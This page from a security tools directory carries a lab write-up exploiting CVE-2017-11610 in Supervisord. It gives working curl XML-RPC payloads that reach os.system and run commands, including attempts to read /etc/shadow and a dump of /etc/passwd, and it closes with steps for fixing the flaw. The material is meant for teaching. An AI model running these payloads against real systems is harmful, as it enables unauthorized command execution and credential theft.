Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-11610 — Step-by-step exploit writeup for CVE-2017-11610 (Supervisord XML-RPC RCE) with attack surface analysis, namespace traversal discovery, and post-exploitation techniques in a Docker lab environment. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2017-11610
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolLabs & Practice
GitHubdungsocool/cve-2017-11610

CVE-2017-11610

Step-by-step exploit writeup for CVE-2017-11610 (Supervisord XML-RPC RCE) with attack surface analysis, namespace traversal discovery, and post-exploitation techniques in a Docker lab environment.

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

LAB 3- CVE-2017-11610

I. SYSTEM ANALYSIS

Identifying Attack Surface from the Docker Environment

Starting with what is running in the environment. I list all active containers:

root@kitploit:~
docker ps-a

image.png

The victim exposes a single port: 9001.

Port 9001 is not a standard web app. Looking up the port database shows this port could be associated with Supervisord (ETL Service Manager according to IANA), Tor proxy, or some other internal service. However, we cannot draw a conclusion based solely on the port number.

⇒ I curl directly to read the response and also access the web GUI to gather more information

root@kitploit:~
curl -i http://192.168.3.137:9001/

image.png

image.png

Response analysis:

  • The returned response displays Server: Medusa/1.12 and the title Supervisor Status

→ Confirmed this is Supervisord, not Tor or any other service.

  • No login form, no auth prompt ⇒ Access requires no authentication
  • Exposed functionalities: REFRESH, RESTART ALL, STOP ALL
  • Attack Surface Assessment:

Supervisord is a process manager on Linux. If port 9001 is exposed to the network without a password, this is a dangerous configuration. An attacker could view services, restart/stop processes, and under certain configurations, exploit it to execute commands if they have privileges to modify or control the managed programs.

Analysis Conclusion: We can confirm the target is exposing the Supervisord administration interface to the network at port 9001. This is not a standard web service, but a management interface used to monitor and control processes. The ability to access this interface without authentication creates a risk that an attacker can view the status of or interact with the managed services.

However, we must distinguish between the visible UI and the underlying control mechanism. Buttons like REFRESH, RESTART ALL, and STOP ALL do not process requests independently on the frontend; instead, they must call an interface/backend of Supervisord to retrieve status or send process control commands. Therefore, after confirming the Web UI is exposed, the next analysis step is to determine if the underlying control interface exists behind the Web UI and if it requires authentication.

⇒ Thinking: Need to check whether the control interface behind the Web UI exists and if it requires authentication.

Checking the XML-RPC Protocol

image.png

According to Supervisor's documentation, [inet_http_server] is an HTTP server listening on a TCP socket. This interface is not enabled by default, should only be used in trusted environments, does not support encryption, and has no default authentication unless username/password is configured.

The documentation also indicates that the port of [inet_http_server] is used to receive HTTP/XML-RPC requests; supervisorctl uses XML-RPC to communicate with supervisord via this port. This matches our observation in the lab: the container exposes 0.0.0.0:9001->9001/tcp, the Web UI is accessible without authentication, and the displayed version is Supervisor 3.3.2.

Thus, after confirming the Web UI on port 9001, the next step is to inspect the XML-RPC endpoint /RPC2. Based on the official mechanism of Supervisord, we need to verify these objectives:

  • Whether /RPC2 exists.
  • Whether the endpoint requires authentication.
  • Whether we can call non-destructive methods like supervisor.getState or system.listMethods.
  • If RPC can be called without authentication, the risk level escalates from an exposed Web UI to an exposed process-control API.

Check if the endpoint is alive:

root@kitploit:~
curl -i -s -X POST -H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>supervisor.getState</methodName><params></params></methodCall>' \
http://192.168.3.137:9001/RPC2

image.png

The result returns HTTP/1.1 200 OK, not 401 Unauthorized or 403 Forbidden, showing the request was accepted by the server without credentials. The response is in the XML-RPC <methodResponse> format and contains statename=RUNNING and statecode=1, proving the /RPC2 endpoint is active and the supervisor.getState method was executed successfully.

⇒ Thinking: The attack surface is no longer limited to the Web UI, but has expanded to the XML-RPC API, where daemon/process control commands are handled. From here, the next analysis direction is to check how Supervisor handles methodName in XML-RPC, to determine if the current target exhibits the behavior of CVE-2017-11610, which lies in the dispatch/lookup mechanism of this method. We need to verify this to conclude if it is CVE-2017-11610.

Analyzing Method Name Processing in XML-RPC

In the previous step, we successfully called the supervisor.getState method via the /RPC2 endpoint. This raises the next question: when receiving a string-based methodName, how does Supervisord map that string to the internal Python function?

In XML-RPC, methods typically utilize namespaces, for example:

  • supervisor.getState
  • supervisor.stopProcess
  • supervisor.getAllProcessInfo

Logically, the server receives the methodName string, splits it by the dot ., and searches for the corresponding object/function inside the registered handler.

The pseudo-code can be understood as follows:

root@kitploit:~
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
    parts = method_name.split(".")          # ["supervisor", "getState"]

    obj = registered_handlers[parts[0]]     # get namespace "supervisor"

    for attr in parts[1:]:
        obj = getattr(obj, attr)            # lookup the next attribute

    return obj(*params)                     # call the final function

For standard methods like supervisor.getState, this mechanism functions normally: the server retrieves the supervisor handler, then calls the getState function. However, the core issue of CVE-2017-11610 is that this lookup mechanism does not sufficiently restrict the attributes allowed to be accessed. If an attacker controls the methodName, they can not only call public methods like getState, but also traverse deeper into the internal objects/modules reachable from the supervisor handler.

In other words, the dot . in methodName is not just used to invoke valid methods, but can be abused to traverse object attributes.

This establishes our exploitation path:

supervisor → supervisord → options → warnings → linecache → os → system

The concept is to start from the supervisor handler, follow attributes to the daemon's internal objects, and then leverage pre-imported Python modules to reach os.system. If os.system can be called, the attacker can execute system commands with the privileges of the supervisord process.

Thus, the attack chain follows this logic:

/RPC2 accepts unauthenticated method calls → inspect how XML-RPC dispatches methodName → discover methodName can traverse object attributes → leads to calling os.system.

II. EXPLOITATION

Confirming Namespace Traversal Works

First, I need to check whether the server actually allows traversing internal attributes. I will attempt to call a method name that is longer than usual. If the server returns a "method not found" error, a filter is active; if it returns a different error (or succeeds), the traversal is working.

Thinking: I already know supervisor.getState works. If I try supervisor.supervisord—which goes one layer deeper—and the server does not return an unknown method error, it means it is indeed using recursive getattr without a whitelist.

We know XML-RPC is a remote procedure call protocol over HTTP, with data encoded in XML. Each request consists of only 3 fixed components:

root@kitploit:~
<?xml version="1.0"?>
<methodCall>
<methodName>FUNCTION_NAME</methodName>
<params>
<param>
<value><string>VALUE</string></value>
</param>
</params>
</methodCall>

Simple structure — just replace <methodName> and <params>. If the function requires no parameters, leave <params></params> empty. If the function requires a string, wrap it inside <string>...</string>. This isn't secret knowledge — reading the XML-RPC RFC details this.

⇒ Application: try calling a longer methodName than usual to check namespace traversal:

root@kitploit:~
curl -s -X POST -H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options</methodName><params></params></methodCall>' \
http://192.168.3.137:9001/RPC2

image.png

The result returns an HTTP 500 Internal Server Error instead of the standard unknown method error. This indicates that the server does not block the methodName at a valid namespace level, but instead continued to process the supervisor.supervisord.options chain during dispatching. In other words, the request traversed deep into the attribute lookup mechanism; the error occurred at a later step when the resolved object was not callable as a method. This is a clear indicator that namespace traversal via methodName is active.

Finding the Path to the Command Execution Function

Traversal is working. The next step is to find an attribute chain ending in a callable function capable of running system commands. In Python, the easiest target to verify is os.system(). However, we do not have a shell on the target and cannot directly read source/runtime objects in the container. Therefore, we must infer from Python's import mechanisms and verify dependencies locally first.

The chain to inspect is:

supervisor → supervisord → options → warnings → linecache → os → system

  • Supervisord is written in Python, so internal objects like options are Python objects with attributes.
  • If a module imports another module via import X, then X will exist within that module's namespace.
  • In the Python stdlib, the warnings module imports linecache to obtain context when displaying warnings.
  • The linecache module imports os for path/file manipulations.
  • The os module provides the system() function, which is a callable that can execute shell commands.

Confirm this dependency locally before attempting it on the target:

root@kitploit:~
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True

python3 -c "import linecache; print('os' in dir(linecache))"
# True

python3 -c "import os; print(callable(os.system))"
# True

⇒ Thinking: The dependency chain warnings → linecache → os is a real dependency in the CPython stdlib; and system is indeed a callable function in the os module. Combined with the namespace traversal flaw in XML-RPC, if we can reach supervisord.options.warnings from the supervisor handler, we can continue traversing to linecache.os.system to invoke system commands.

Constructing the RCE Payload and Execution

After identifying the traversal chain to os.system, the next step is to build the XML-RPC request to call this function. In Python, os.system() takes one string parameter representing the shell command to execute, and returns the command's exit code. This function does not return stdout directly to the XML-RPC response, so to prove the command has run, we must redirect the output to a file.

⇒ Thinking: No direct output in the response, so write the results to /tmp. The /tmp directory is typically writable by all users on Linux. A safe verification payload is:

id > /tmp/rce_proof.txt

Applying the XML-RPC template analyzed above, replace <methodName> with the traversal chain to os.system and pass the shell command inside <string>:

root@kitploit:~
curl -s -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><value><string>id > /tmp/rce_proof.txt</string></value></param></params></methodCall>' http://192.168.3.137:9001/RPC2

image.png

The value <int>0</int> is the exit code of os.system(), not the command's stdout. An exit code of 0 indicates the shell command executed successfully. We verify this by reading the file inside the container:

root@kitploit:~
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

image.png

⇒ RCE Confirmed. The id command was executed inside the container, under the privileges of the nobody user (uid=65534).

Key point: RCE is achieved, but the execution privileges depend on the user running the supervisord process. In this lab, the command runs under the nobody user, meaning the impact is more restricted than if supervisord were running as root.

Identifying Privilege Limits

After confirming RCE, we see that nobody is a low-privileged user on Linux. However, we should verify this in practice rather than just relying on the id output. The verification method is to attempt to read /etc/shadow, as this file is typically only readable by root and the shadow group. If readable, the process has high privileges; if blocked, the privileges are truly restricted.

Send the payload to read /etc/shadow and redirect both stdout/stderr to a file:

root@kitploit:~
curl -s -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><value><string>cat /etc/shadow &gt; /tmp/shadow_test.txt 2&gt;&amp;1</string></value></param></params></methodCall>' http://192.168.3.137:9001/RPC2

image.png

The response returns <int>256</int>, which is the return value of os.system(). On Unix, exit statuses are encoded; 256 corresponds to shell command exit code 1. This indicates the command was executed but failed.

We confirm the cause of failure by reading the output file inside the container and checking /etc/shadow permissions:

root@kitploit:~
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

image.png

The results show the output file recorded this error:

cat: /etc/shadow: Permission denied

Permissions for /etc/shadow are:

  • rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow

The file /etc/shadow is owned by root, group shadow, and is only readable by the owner/group. Meanwhile, our earlier RCE confirmed the command runs under the nobody user; this user does not belong to the shadow group, and thus cannot read this file.

⇒ Conclusion: RCE has been achieved, but privileges are genuinely restricted to the nobody user. This is a critical distinction from a service running as root: the attacker can execute commands, but does not automatically gain total control over the system.

III. POST-EXPLOITATION

Gathering System Information

Although we cannot read /etc/shadow, the RCE still allows us to execute commands with nobody privileges. Thus, we can continue to collect information that this user is authorized to read, such as the running process list and user information on the system.

Listing running processes and reading results from the container:

root@kitploit:~
curl -s -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><value><string>ps aux &gt; /tmp/ps_output.txt 2&gt;&amp;1</string></value></param></params></methodCall>' http://192.168.3.137:9001/RPC2

image.png

root@kitploit:~
docker exec project1-lab03-1 cat /tmp/ps_output.txt

image.png

PID 1 in the container runs under the root user, but the supervisord process runs under the nobody user. This explains why the RCE succeeded but lacked the privilege to read files restricted to root.

Result: ps aux shows that PID 1 in the container is /bin/bash /usr/local/bin/docker-entrypoint.sh running under the root user, while the supervisord process runs under the nobody user.

This explains why the RCE succeeded but did not have permissions to read root-only files: the command is executed with the privileges of the supervisord process, not PID 1.

Checking system user information and reading results from the container:

root@kitploit:~
curl -s -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><value><string>cat /etc/passwd &gt; /tmp/passwd_dump.txt 2&gt;&amp;1</string></value></param></params></methodCall>' http://192.168.3.137:9001/RPC2

image.png

root@kitploit:~
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

image.png

Result: /etc/passwd shows the system mainly contains default users like root, daemon, nobody, and _apt; no additional service users were detected. This indicates the container environment is minimal, lacking other application accounts to exploit or pivot from at this stage.

Remarks on reverse shell

In this lab, a reverse shell could not be established. However, we should not simply conclude that a Docker bridge network always blocks reverse shells, as Docker containers typically retain outbound capabilities via NAT. The cause may stem from routing, firewalls, listeners, interfaces, or the network configuration of the lab environment.

The crucial point is: the unsuccessful reverse shell does not alter the main conclusion. RCE has been confirmed with the id payload, response exit code 0, and the output file in /tmp. The attacker can execute arbitrary commands inside the container with the privileges of the nobody user.

IV. RISK ASSESSMENT & RECOMMENDATIONS

Risk Assessment

Remediation Recommendations

Urgent Priority

  1. Upgrade Supervisord to the patched version

    Upgrade Supervisor to version >= 3.3.3. The patched version completely eliminates the recursive namespace lookup mechanism in XML-RPC, which was the root cause of CVE-2017-11610.

  2. Do not expose [inet_http_server] to the network unless necessary

    If the Web UI or remote management is not required, disable [inet_http_server] entirely. This is a management interface and should not be widely accessible across the network.

  3. Restrict binding address

    If you still need the Web UI enabled, only bind to localhost instead of 0.0.0.0:

    root@kitploit:~
    [inet_http_server]
    port=127.0.0.1:9001
    

High Priority

  1. Enable authentication for [inet_http_server]

    If you must expose this interface for remote administration, configure a strong username/password:

    [inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>

    If it must be bound to the network, do not rely solely on a password; place it behind a VPN/reverse proxy or restrict access by IP.

  2. Restrict access using a firewall

    Only allow administrative IPs to access port 9001, for example via a firewall/security group. Do not expose this port to the public internet or the entire internal network.

  3. Run supervisord with a low-privileged user

    This lab runs under the nobody user, keeping the impact limited. In real-world environments, avoid running supervisord as root unless absolutely necessary.

Download Tool
CriterionAssessmentDetails
CVSS Score9.8 (Critical)Per CVE/NVD, the vulnerability is an unauthenticated RCE on Supervisor <= 3.3.2
AuthenticationNot requiredEndpoint /RPC2 processes XML-RPC requests without requiring a username/password
ComplexityLowExploitable via manual XML-RPC requests, without needing Metasploit
Privileges GainednobodyRCE runs with the privileges of the supervisord process; in this lab, restricted to the nobody user
ImpactHighAble to execute commands, write files in writable directories like /tmp, and gather system information
LimitsCannot read root-only files/etc/shadow returned Permission Denied, proving privileges are not root
Internal Network PivotingFeasibleThe nobody user can still attempt to connect to other services/containers if network policies allow